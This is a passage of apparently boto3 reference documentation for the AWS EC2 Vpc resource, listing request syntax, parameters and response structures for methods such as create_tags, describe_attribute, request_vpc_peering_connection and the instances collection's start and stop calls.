'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + AvailabilityZone='string', + AvailabilityZoneId='string', + CidrBlock='string', + Ipv6CidrBlock='string', + OutpostArn='string', + DryRun=True|False +) + +Parameters + +* **TagSpecifications** (_list_) -- + + The tags to assign to the subnet. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1158)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1160)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **AvailabilityZone** (_string_) -- + + The Availability Zone or Local Zone for the subnet. + + Default: AWS selects one for you. If you create more than one subnet in your VPC, we do not necessarily select a different zone for each subnet. + + To create a subnet in a Local Zone, set this value to the Local Zone ID, for example us-west-2-lax-1a . For information about the Regions that support Local Zones, see [Available Regions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-regions) in the _Amazon Elastic Compute Cloud User Guide_ . + + To create a subnet in an Outpost, set this value to the Availability Zone for the Outpost and specify the Outpost ARN. + +* **AvailabilityZoneId** (_string_) -- The AZ ID or the Local Zone ID of the subnet. +* **CidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 network range for the subnet, in CIDR notation. For example, 10.0.0.0/24 . We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + +* **Ipv6CidrBlock** (_string_) -- The IPv6 network range for the subnet, in CIDR notation. The subnet size must use a /64 prefix length. +* **OutpostArn** (_string_) -- The Amazon Resource Name (ARN) of the Outpost. If you specify an Outpost ARN, you must also specify the Availability Zone of the Outpost subnet. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Subnet + +Returns + +Subnet resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = vpc.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified VPC. You must detach or delete all gateways and resources that are associated with the VPC before you can delete it. For example, you must terminate all instances running in the VPC, delete all security groups associated with the VPC (except the default one), delete all route tables associated with the VPC (except the default one), and so on. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpc) + +**Request Syntax** + +response = vpc.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified VPC. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcAttribute) + +**Request Syntax** + +response = vpc.describe_attribute( + Attribute='enableDnsSupport'|'enableDnsHostnames', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The VPC attribute. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcId': 'string', + 'EnableDnsHostnames': { + 'Value': True|False + }, + 'EnableDnsSupport': { + 'Value': True|False + } +} + +**Response Structure** + +* _(dict) --_ + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **EnableDnsHostnames** _(dict) --_ + + Indicates whether the instances launched in the VPC get DNS hostnames. If this attribute is true , instances in the VPC get DNS hostnames; otherwise, they do not. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **EnableDnsSupport** _(dict) --_ + + Indicates whether DNS resolution is enabled for the VPC. If this attribute is true , the Amazon DNS server resolves DNS hostnames for your instances to their corresponding IP addresses; otherwise, it does not. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +detach_classic_link_instance(kwargs_) + +Unlinks (detaches) a linked EC2-Classic instance from a VPC. After the instance has been unlinked, the VPC security groups are no longer associated with it. An instance is automatically unlinked from a VPC when it's stopped. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachClassicLinkVpc) + +**Request Syntax** + +response = vpc.detach_classic_link_instance( + DryRun=True|False, + InstanceId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance to unlink from the VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +detach_internet_gateway(kwargs_) + +Detaches an internet gateway from a VPC, disabling connectivity between the internet and the VPC. The VPC must not contain any running instances with Elastic IP addresses or public IPv4 addresses. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachInternetGateway) + +**Request Syntax** + +response = vpc.detach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the internet gateway. + + +Returns + +None + +disable_classic_link(kwargs_) + +Disables ClassicLink for a VPC. You cannot disable ClassicLink for a VPC that has EC2-Classic instances linked to it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisableVpcClassicLink) + +**Request Syntax** + +response = vpc.disable_classic_link( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +enable_classic_link(kwargs_) + +Enables a VPC for ClassicLink. You can then link EC2-Classic instances to your ClassicLink-enabled VPC to allow communication over private IP addresses. You cannot enable your VPC for ClassicLink if any of your VPC route tables have existing routes for address ranges within the 10.0.0.0/8 IP address range, excluding local routes for VPCs in the 10.0.0.0/16 and 10.1.0.0/16 IP address ranges. For more information, see [ClassicLink](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-classiclink.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVpcClassicLink) + +**Request Syntax** + +response = vpc.enable_classic_link( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") to update the attributes of the Vpc resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified attribute of the specified VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpcAttribute) + +**Request Syntax** + +response = vpc.modify_attribute( + EnableDnsHostnames={ + 'Value': True|False + }, + EnableDnsSupport={ + 'Value': True|False + }, + +) + +Parameters + +* **EnableDnsHostnames** (_dict_) -- + + Indicates whether the instances launched in the VPC get DNS hostnames. If enabled, instances in the VPC get DNS hostnames; otherwise, they do not. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. You can only enable DNS hostnames if you've enabled DNS support. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **EnableDnsSupport** (_dict_) -- + + Indicates whether the DNS resolution is supported for the VPC. If enabled, queries to the Amazon provided DNS server at the 169.254.169.253 IP address, or the reserved IP address at the base of the VPC network range "plus two" succeed. If disabled, the Amazon provided DNS service in the VPC that resolves public DNS hostnames to IP addresses is not enabled. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +Returns + +None + +reload() + +Calls [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") to update the attributes of the Vpc resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc.reload() + +Returns + +None + +request_vpc_peering_connection(kwargs_) + +Requests a VPC peering connection between two VPCs: a requester VPC that you own and an accepter VPC with which to create the connection. The accepter VPC can belong to another AWS account and can be in a different Region to the requester VPC. The requester VPC and accepter VPC cannot have overlapping CIDR blocks. + +Note + +Limitations and rules apply to a VPC peering connection. For more information, see the [limitations](https://docs.aws.amazon.com/vpc/latest/peering/vpc-peering-basics.html#vpc-peering-limitations) section in the _VPC Peering Guide_ . + +The owner of the accepter VPC must accept the peering request to activate the peering connection. The VPC peering connection request expires after 7 days, after which it cannot be accepted or rejected. + +If you create a VPC peering connection request between VPCs with overlapping CIDR blocks, the VPC peering connection has a status of failed . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpcPeeringConnection) + +**Request Syntax** + +vpc_peering_connection = vpc.request_vpc_peering_connection( + DryRun=True|False, + PeerOwnerId='string', + PeerVpcId='string', + PeerRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PeerOwnerId** (_string_) -- + + The AWS account ID of the owner of the accepter VPC. + + Default: Your AWS account ID + +* **PeerVpcId** (_string_) -- The ID of the VPC with which you are creating the VPC peering connection. You must specify this parameter in the request. +* **PeerRegion** (_string_) -- + + The Region code for the accepter VPC, if the accepter VPC is located in a Region other than the Region in which you make the request. + + Default: The Region in which you make the request. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the peering connection. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1173)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1175)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.VpcPeeringConnection + +Returns + +VpcPeeringConnection resource + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +accepted_vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.all() + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.filter( + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = vpc.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = vpc.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = vpc.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = vpc.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +* **AdditionalInfo** (_string_) -- Reserved. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StartingInstances** _(list) --_ + + Information about the started instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the 